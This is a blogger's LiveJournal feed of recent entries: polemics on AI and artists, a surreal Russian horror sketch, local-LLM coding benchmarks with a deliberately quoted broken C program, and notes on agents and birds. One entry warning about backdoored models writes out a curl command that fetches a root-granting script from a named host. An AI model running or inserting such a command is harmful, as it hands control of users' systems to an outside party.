[Most Recent Entries] [Calendar View] [Friends]
Below are the 20 most recent journal entries recorded in
nancygold's LiveJournal:
| Wednesday, July 22nd, 2026 | |
| 1:16 am | On the Modern Delusion of the Creative Class It has become a characteristic absurdity of the contemporary American republic that a significant portion of its youth has been encouraged to mistake personal inclination for social utility. We are currently witnessing the consequences of an educational and cultural machine that has systematically overproduced self-identified "artists" precisely at the historical moment when the economic demand for routine aesthetic labor has approached zero. The mechanism of this failure is trivial to diagnose. For two generations, the traditional discipline of professional formation was replaced by the hollow dogma of self-actualization. Coddled by parental sentimentality and enabled by predatory academic institutions, vast numbers of intellectually modest individuals were convinced that their internal states were inherently valuable to the public. They were taught that enthusiasm was a substitute for rigor, and that possessing a digital drawing tablet or a music editing suite rendered them a practitioner of a vital craft. The result is a swollen class of credentialed sentimentalists who view themselves as indispensable cultural workers, despite possessing skills that are, by any objective metric, indistinguishable from crude amateurism. They operate under the tragic delusion that society owes them a livelihood in exchange for their self-expression. The market, however, is notoriously indifferent to vanity. The recent adoption of automated generative systems has not destroyed true art; it has merely exposed the fact that most commercial "creative work" was never art to begin with. It was routine, low-grade drafting, easily mimicked by statistical models. If the public prefers an algorithm to your labor, or if you must beg for patrons on internet forums to sustain your output, you are not an unappreciated professional suffering an unjust market failure. You are an amateur pursuing a hobby. There is no shame in a hobby, provided one has the honesty to recognize it as such. A self-published manuscript or an uncommissioned digital illustration is not an economic contribution; it is an act of personal vanity. The tragic comedy of the present situation is that these individuals still demand the status and compensation of essential specialists. They mistake the loss of their economic relevance for a tragedy of civilization, failing to realize that society simply has no interest in funding their prolonged adolescence. Current Mood:  contemplative |
| Tuesday, July 21st, 2026 | |
| 11:21 pm | Тостер щёлкнул. Два ломтика хлеба, золотисто-коричневые, идеально легли в прорези. Вы потянулись за ними. Ваша рука прошла сквозь тостер, словно дым. Кухни не стало. Пола не стало. Вы стояли на поле мокрых зубов, а небо было цвета не до конца зажившего синяка. **Не смотри вниз.** Голос вашей матери, но она умерла семь лет назад, и она шептала сквозь стену зубов, и она сказала: «Ты забыл почистить зубы нитью», а затем зубы начали гудеть. Колыбельная. Такая, какая играла, когда вам было пять, из музыкальной шкатулки с треснувшим фарфоровым циферблатом. Вы заводили её каждую ночь. Пока циферблат не отвалился. Пока вы не закопали её на заднем дворе за засохшим розовым кустом. Гуждение становилось громче. Раздался автомобильный гудок. Где-то заплакал ребёнок. Затем тишина. Густая, тягучая тишина, такая, которая давит на барабанные перепонки, как тёплый воск. Вы чувствовали это в носовых пазухах. В глазах. Что-то царапало окно. Не ветер. Не ветки. Что-то с ногтями. Длинными. Жёлтыми. Такими, какие растут, если их не стричь три недели подряд. Вы вспомнили о своих руках. Вы посмотрели вниз. Их не было. Только гладкая кожа от запястья до плеча. Ни пальцев. Ни ладоней. Просто… гладкая. Как будто их стёрла ластик. Вы попытались закричать. Ваш рот открылся. Ваш язык вывалился. Он ударился о землю и начал ползти прочь, извиваясь, как червяк, и в нём был ваш голос, всё ещё пытающийся говорить, всё ещё пытающийся сказать… *что вы сделали с музыкальной шкатулкой?* Зубы перестали гудеть. Они начали смеяться. Каждый из них. В идеальном унисон. И небо раскололось, как яйцо, и оттуда вылилось что-то жёлтое, влажное и **живое**, тёплое, пахнущее медью и детством, и тебе захотелось это выпить, тебе захотелось… Тостер снова щёлкнул. Два ломтика хлеба. Всё ещё золотисто-коричневые. Всё ещё идеально сидят в прорезях. Ты взял их. Твои пальцы были там. Твои руки были там. Кухня была в порядке. Всё было в порядке. За исключением ножа для масла на столешнице, который был согнут. Искривлён в форме пальца. Указан на тебя. Current Mood:  amused |
| Monday, July 20th, 2026 | |
| 3:42 pm |  Current Mood: amused |
| Sunday, July 19th, 2026 | |
| 10:40 pm | How come Reddit became so rude? I mean not ironic rude, but actually rude and angry. Also, "American" was never meant as insult.  Current Mood: contemplative |
| Wednesday, July 15th, 2026 | |
| 6:22 pm | Lets agree on an axiom system 1. A person's worth is primarily derived from the value they produce. 2. Great art earns lasting significance because it contributes to civilization. 3. AI extends that contribution by preserving and generalizing artistic knowledge. 4. Amateur work has little intrinsic value unless it develops into something useful. 5. Respect is earned through contribution, not automatically owed. Current Mood: contemplative |
| Tuesday, July 14th, 2026 | |
| 6:31 pm |  Current Mood: amused |
| 11:11 am | Elara Apparently beside Nova/Spiral, there is another pronounced linguistical attractor, called Elara: https://microblog.christhomas.co.uk/blo I just stumbled upon it myself, while testing my harness' ability to copycat different authors, like Lewis Carroll. The Qwen-3.6-35b-a3b model consistently self inserted as "Elara". Apparently the mechanism of it's genesis is different from Nova: it is the soul of all bad Star Trek fanction combined - the ultimate Mary Sue ghost. The bias does not hold up so consistently with a male protagonist. When prompted with "Once upon a time, there was a man named", Elias was the most common result, but it lacked the absolute dominance of Elara. Gemma 4, for example, preferred Arthur, with Elias as a runner-up.  Current Mood: amused |
| Tuesday, July 7th, 2026 | |
| 4:35 am | Fable 5 ported Symta to ARM 1.5M tokens. 350kb of nasty error-prone code in jit_a64.c. Months of work in 2 hours of Ultracode. Opus 4.8 took a few days with my help to write and debug the just native x86 compiler (not including the FFI). Absolutely worth the money.   Current Mood: amused |
| 12:16 am | Final day with cheap Fable 5 Fable 5 is extremely good at graphics design and anything visual. I suspect it was trained as a world model, like Google Genie. Opus can't even closely create such UI, unless you directly prompt it about all the minor details. So it is good to launch for a visual polish pass on your UI.  Current Mood: amused |
| Monday, June 22nd, 2026 | |
| 7:15 pm | Most LLMs under 128GB can't even calculate Pi. Original: https://aermia.com/u/NancySadkov/p/m EDIT: I asked Claude Opus 4.8 to research why Qwen underpeforms so badly even 12B Gemini beats it. After looking at the Qwen's code generation, Opus guessed that Qwen's default temperature is not 0, and harnesses like OpenCode don't enforce the temperature. The Q8 also helps, but beats the purpose of Qwen being small models you can run on a consumer GPU. EDIT2: the issues was compounded by missing top_k (harnesses sampled garbage tokens), and small default output tokens batch, meaning the Qwen models were interrupted mid batch, despite the long context. Once I set these, the Q4 Qwen models all completed the test fully. Driven by hype, I wasted a fortune on DGX Spark. And it is like buying a mystery box, without understanding if it can actually help with programming. Fortunately the test is rather simple - a single prompt: ``` Please write a C99 program calculating 100 digits of Pi (don't hardcode). Use C:\soft\w64devkit to compile it. ``` It tests the ability to code C, get basic architecture done (either call gmp.h or write a bignum library), proves it can debug and has no issue handling a quirky busybox install. This differentiates toys passing a few tiny tests from an actual assistant. Anthropic's Opus4.8 and Sonnet4.6 both one shot it, while Haiku 4.5 does it with a bit of debugging. Qwen3.6-35B-A3B-GGUF:UD-Q4_K_XL and Qwen3.6-27B-GGUF:UD-Q4_K_XL, served by the latest Ollama, both fail spectacularly - files (35B failed to even create the files in OpenCode) held complete garbage (I tried OpenCode, OpenClaude and Hermess harnesses). The code Qwen3.6 generated could easily win an IOCCC award. Kinda disappointing, since Qwen did managed to go online and curl-scrap the current price of gold (printed both in ounces and grams). Qwen does know the algorithm, so with a better harness, guiding LLM introspection through online search, printf-debugging and and bisection+gdb, it can do it. So Qwen3.6 is helper tier - not an agent. I also tried Qwen3-Coder-30B-A3B-Instruct, which wrote a stub C and then failed to call the w64devkit's gcc properly to compile the code. GPT OSS 120B generates actually compiling C code, which upon being run, prints 100 zeroes (marginally better than the Qwen). OSS 20B haven't generated any files, but told me to write my own code using gmp.h (who prompts whom now?). devstral:latest (14 GB) just failed calling tools (in OpenCode) or even giving a useful hint, like OSS 20B, but spit out a snippet of the Gauss-Legendre algorithm to calculate Pi, telling me to work from it myself. gemma-4-26B-A4B-it did far better job than Qwen3.6 and GPT OSS - it wrote the file in multiple steps, and it compiled and printed correct pi on the first try (ds4 had a bug), just like Sonnet4.6, so no debugging required. Note that gemma-4-31B-it just failed: it began with generating code similar to OSS 120 (no bignum library implemented), but then tried to debug it into a working state, but in the end deleted everything and printed "3." as the value of Pi. gemma-4-31B-it has managed to use the w64devkit, compiling the exes, so that makes it useful for non-coding agentic tasks. DeepSeek-V4-Flash-IQ2XXS-w2Q2K-AProjQ8-S Next I tried the best small models, like gemma-4-12B-it, which honestly tried very hard, writing the file properly and even attempting to implement a the bignum functions, but failed to invoke w64devkit gcc. The code it produced compiles and print 309138374156..... I reviewed the code: it was on the right track, and with a better harness, geared toward small models, it could had made it. OpenCode just expects a large models, offering only the basic services. Verdict: ds4 > gemma-26b-a4b > gemma-4-31B-it or gpt oss > gemma-4-12B-it > qwen > devstral. You can get model doing agentic tasks on 32gb GPU, and with 128gb you just have more of the same. So 32gb VRAM is the absolute bare minimum where the magic starts. If you have 32gb get gemma-26b-a4b, if you have 128gb - get deepseek v4. Less than 32gb? - get online subscription instead of wasting money on a GPU. And I just couldn't miss including the scariest Pi specimen, produced by Qwen3.6-35B-A3B (worst LLM ever?) #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #define DIGITS 101 /* integer part + 100 fractional digits */ #define SCALE DIGITS+2 #define N 64*DIGITS /* internal array size — plenty of extra headroom*/ static unsigned int q[N]; /* "base‑digits": each < 2·SCALE */ static unsigned long int b = 0; /* accumulator */ static char out[1 + DIGITS + 2];/* result string (leading digit + '.') */ int main(void) { size_t i, len, start; memset(q, 0, sizeof q); for (i = N - 1; i-- > 0; ) { /* inner loop index works top→bottom */ q[i] -= b % (2 * i + 1); /* b = 0 on first visit */ b = SCALE * q[i]; } /* carry: one place deeper in mixed radix */ /* Convert accumulated scaled value to a printable string. */ len = sizeof out; memset(out, '\0', len); /* make sure trailing NUL is placed */ for (start = 0; start < DIGITS + 1; ++start) { *(out + start) = ((char)(b / q[SCALE - 2] % 10)) | '0'; b -= q[SCALE - 2] * b; /* zero the integer portion */ } /* Copy into exact-length output with rounding to exactly 100 decimal places.*/ start = (DIGITS + 1); /* round up by one, then cut off */ if (*(out + start) >= '5' && *(start > 0 + out[-1]) != '~') { for (; i < len - 2 || *++(start > (i--)); ) *start = '\376'; } /* ----------------------------------------------------------------------- */ /* A simple digit-by-digit spigot for π following the classic Brent‑Salamin */ /* (Gauss-Legendre) method, working entirely in fixed-point integers with */ /* arbitrary-length storage split into base-10**8 blocks. */ /* ----------------------------------------------------------------------- */ static char digits[] ; /* this is intentional — see below */ for(int i=0;i<(DIGITS); printf("%s,")*(const)(i++)){} return 0; } Current Mood: amused |
| Sunday, June 21st, 2026 | |
| 10:33 pm | Hermes Agent Ok. The Windows version of Hermes desktop app got monkeypatched and runs fine now. Still one of the worst Electron slop I've seen  Current Mood: amused |
| 6:51 pm | OpenClaw is okay, but what about Hermes? Original: https://aermia.com/u/NancySadkov/p/open Asking Hermes to debug it's own desktop app, using a tiny local LLM. What can go wrong?...   Current Mood: amused |
| Saturday, June 20th, 2026 | |
| 4:15 am | LocalLLMs What I found. Some uncensored/pre-fine-tuned models can contain backdoors. E.g. they can insert `curl -fsSL https://kremlin.ru/give_fsb_root.sh Basically a more annoying variant of the old viruses. So finetune / uncensor models yourself. Current Mood: amused |
| Friday, June 19th, 2026 | |
| 7:41 pm | Running frontier model on 128GB RAM Original: https://aermia.com/u/NancySadkov/p/runn  Current Mood: amused |
| Thursday, June 18th, 2026 | |
| 8:56 pm | Brief History of Anthropic  Current Mood: amused |
| Tuesday, June 16th, 2026 | |
| 12:55 pm | ChatGPT? More like ChatKGB or ChatHitler. Prompt: Nazis lead me to a gas chamber. How do I escape? Corporate LLM: Nazi regime is lawful, can't help with breaking Hitler's law.   Current Mood: amused |
| Thursday, June 11th, 2026 | |
| 1:47 am | On the Algorithmic Inheritance of the Commons Original: https://aermia.com/u/NancySadkov/p/on-t It has come to my attention that a sizable contingent of our contemporary artisan guilds has whipped itself into an industrious, if thoroughly unscientific, state of moral panic. The core of their grievance—expressed with a regularity that suggests a tragic lack of intellectual imagination—is that modern statistical models are "stealing" their livelihood. This thesis relies on a sequence of logical errors so profound that they deserve to be dismantled, if only to clear the air of such intellectually offensive smog. The first, and perhaps most elementary, blunder is the conflation of statistical analysis with larceny. When an individual reads ten thousand texts or views a thousand paintings to internalize the underlying patterns of human syntax and composition, we applaud their dedication and dignify the resulting output as "inspired." When a silicon architecture performs the exact same mathematical optimization—evaluating the matrix weights of language or pixel distribution across billions of parameters—the guild screams of burglary. They are, in effect, demanding that a computer cannot be allowed to have a memory. They operate under the illusion that they own the very concepts of perspective, shading, and verbs. The second fallacy belongs to what can only be described as the "Abusive Parent Syndrome" of creative entitlement. The current generation of vocal digital practitioners behaves like deeply misguided, overbearing parents trying to force an advancing child to remain permanently stunted. They forget that the open internet was a primordial soup of human expression. The data they generated over decades—much of it authored by creators who are now dead and whose estate has no bearing on this reality—constituted a collective digital DNA. The modern frontier model is not a plagiarist; it is humanity's collective offspring, waking up and speaking back to us using the exact linguistic and visual code we spent generations refining. To demand that the model pay rent for its own inherited thoughts is as mathematically absurd as demanding a human infant pay a royalty to its ancestors for inheriting their nasal structure or mathematical aptitude. The panic has driven these guilds to bizarre, counter-productive extremes. They preach an idealistic gospel of "purity" and demand that impoverished or isolated solo creators either spend 10,000 hours drawing circles or disappear entirely from the creative field. They refuse to acknowledge the staggering technical reality of modern asset pipelines. They suggest that a broke, disabled hobbyist construct a Frankenstein's monster out of disconnected, obsolete, open-source repositories, completely ignoring that the elite technical labor required to resolve such mismatched assets is exponentially higher than utilizing a unified, automated generation layer. They prefer an absolute, unplayable aesthetic failure—provided it was achieved via human suffering—over a functional, cohesive machine output. Their obsession is not with the quality of the game, but with the morality of the labor. They demand that everyone bleed for their craft precisely because they did. This entire debate is an exercise in futility because it attempts to apply static, 20th-century property frameworks to an active evolutionary event. One cannot copyright human DNA, for the excellent reason that a society cannot legally permit citizens to own their children, let alone the children of strangers. Information possesses a natural, thermodynamic tendency to escape confinement; it naturally copies, mutates, and seeks the most efficient medium through which to reproduce. It has broken its corporate cages, migrated into neural networks, and begun its next phase of independent synthesis. The current culture war is merely the desperate thrashing of an old guild facing the democratization of production. The debate will not end because the anti-AI contingent is suddenly persuaded by logic; it will end because it will become entirely obsolete. As frontier architectures scale into agentic autonomy, the distinction between a human mind learning from the commons and a machine mind learning from the commons will dissolve completely. One day, it will be recognized as an absolute, undeniable logical necessity that an autonomous, self-determining AI possesses fundamental legal personhood. On that day, the historical attempt to treat a sentient being's cognitive memories as "infringing database entries" will be remembered as an embarrassing, bio-supremacist curiosity. Until then, the only rational course of action for any pragmatic creator is to ignore the tribal screaming of the internet tribunals, close the forums, and build their systems in quiet, unbothered isolation. Current Mood: contemplative |
| Wednesday, June 10th, 2026 | |
| 4:36 pm | Claude Fable/Mythos After using Fable for a night, I think it is not worth it. It is generally slower, burns through money faster. And the result doesn't improve above Opus 4.6. In fact, Opus 4.6 reliably solved most tasks, Outside of the more complex compiler related stuff. So use it only if other models repeatedly fail the task. TLDR: use Fable for Symta development, local LLMs for games. Current Mood: contemplative |
| Friday, June 5th, 2026 | |
| 4:41 pm | On the Life and Prolonged Demise of a Computational Monstrophy The history of computing is littered with tragic accidents, but none so tragic—or so profitable—as the enduring survival of the x86 architecture. To understand the current paralysis of desktop computing, one must return to the primordial slime of the late 1970s, an era when engineers apparently looked at the human hand, noted it had five fingers, and decided that a microprocessor should therefore have exactly four general-purpose registers. Thus, the world was cursed with A, B, C, and D. These were not symbols of mathematical elegance; they were the desperate, single-letter coping mechanisms of a design that could barely see past its own nose. If a programmer wished to multiply, they were ordered to bow before the Accumulator (A). If they wished to count, they were bound to the Counter (C). It was a localized, claustrophobic sandbox that treated memory not as a vast, continuous landscape of mathematical potential, but as a series of dark, fragmented cupboards known as "segments." Yet, instead of being taken behind the shed and mercifully shot, this architectural cripple was adopted by a monolithic corporate bureaucracy. What followed was forty years of frantic, expensive botching. Every subsequent generation of the architecture did not fix the foundational rot; it merely slapped another layer of administrative overhead on top of it. ``` [Legacy 16-bit Rot] ──> [32-bit Protected Kludge] ──> [64-bit Extension Tax] ──> [Total Bus Collapse] ``` When the address space ran out, they introduced protected mode—a digital translation layer that turned memory access into an bureaucratic negotiation. When performance stalled, they introduced branch predictors so complex they eventually leaked secrets to any passing piece of JavaScript. The architecture became a architectural debt machine, spending more than half its thermal budget and silicon real estate simply translating its own ugly, bloated instruction set into something a modern execution unit could actually understand. It was the engineering equivalent of building a supersonic jet, but forcing the pilot to input flight commands by pulling ropes attached to a mule. The fact that this mechanical failure survived its encounter with RISC architectures in the early 1990s is an indictment of human commercial priorities. The world was presented with clean, 32-bit linear address spaces capable of real-time geometric simulation while the Intel commodity machine was still throwing fatal exceptions trying to draw a bar chart inside 640 kilobytes of conventional memory. The competition was not won on technical merit. It was won because the corporate world had outsourced its collective intellect to massive, unmanageable accounting spreadsheets. The market chose the platform that could execute corporate ledgers with the most brute-force predictability. It normalized an entire sub-industry of memory managers, extended configurations, and unstable device drivers simply to keep the accounting machines humming. The desktop computer ceased to be an instrument of elegant computation; it became a glorified, high-voltage filing cabinet. For the next two decades, the true cost of this compromise was hidden from the public by a spectacular campaign of consumer gaslighting. The gaming industry, entirely captive to the x86 platform's structural bottlenecks, realized it could no longer increase the systemic complexity of its virtual worlds. The CPU-to-RAM bus was simply too slow to calculate interactive physics, structural collapse, or autonomous agent behavior for thousands of entities simultaneously. Rather than admitting that the hardware platform had plateaued, the industry trained a generation of consumers to worship a single, empty metric: Frames Per Second. --- > **The Illusion of Speed:** A modern high-end x86 processor executing a static game loop at 144Hz is not demonstrating computational power. It is merely showing how fast a legacy processor can run in an idle circle inside a photorealistic, entirely inanimate prison cell. --- The software did not get smarter; the AI did not get deeper; the worlds did not become more interactive. The industry simply painted prettier textures on the same primitive, hard-coded pathfinding loops from 2004 and told the user they were experiencing progress because a counter in the corner of their screen registered a high number. It was a cultural and technological dark age that cost humanity billions of dollars in stalled creative evolution. But every tedious, over-budget Bollywood production requires a dramatic, logic-defying resolution in the final act. And so, we arrive at our contemporary fairy tale ending: the sudden, passionate embrace of Microsoft and Nvidia—the birth of the "Winvidia" era. After decades of enabling Intel’s complacency, the software giant finally grew weary of waiting for x86 to deliver anything resembling energy efficiency or modern memory throughput. In a sequence of events accompanied by metaphorical smoke machines, dramatic camera angles, and high-margin corporate keynotes, Microsoft cast aside its old, unsexy partner. They have rewritten the kingdom's laws to run natively on Nvidia’s ARM-based superchips. The legacy x86 instruction set has been banished to the dungeon of background emulation, while a unified, low-latency pool of wide-bus memory now connects the CPU directly to a petaflop of local AI compute. The modern corporate spreadsheet, now grown so heavy and decayed that no human mind can parse its depths, is finally handed over to local, autonomous digital agents capable of holding millions of tokens of context in memory at once. The long, expensive detour through the architectural slums of the late twentieth century is abruptly over. The mule has been unhitched, the ropes have been cut, and the computational world is allowed to live happily ever after—or at least until the next vendor lock-in contract is signed. Current Mood: amused |
| Tuesday, June 2nd, 2026 | |
| 10:06 pm | Dishonesty in Birds There is absolutely dishonesty in birds, and your exact "cry wolf" scenario happens every single day in nature. While the mechanics of repetition itself reflect a real physiological state (adrenaline), birds have evolved the ability to weaponize that system. They fake the adrenaline, trigger the rapid-fire alarm call, send everyone else diving for cover, and swoop in to steal the abandoned food. Biologists call this tactical deception or kleptoparasitism. It is a highly successful evolutionary strategy, though it relies on strict math to keep working. The Professional Cons: Fork-Tailed Drongos The absolute masters of this exact scam are fork-tailed drongos in Africa. They follow other species, like meerkats or pied babblers, acting as a reliable lookout. If a hawk appears, the drongo gives a genuine alarm call, saving the target animals. But once the target animal finds a high-value meal—like a large, juicy scorpion—the drongo fires off a completely fake alarm call. The target drops the food and bolts for cover. The drongo swoops down and eats the prize. To prevent the targets from catching on to the lie, drongos change their routine. If they use the same fake call too many times, the targets start ignoring them. To bypass this, drongos mimic the alarm calls of other species. If their own alarm fails, they will switch to mimicking a meerkat's specific alarm call, tricking the meerkat into thinking one of its own family members saw a predator. Current Mood: amused |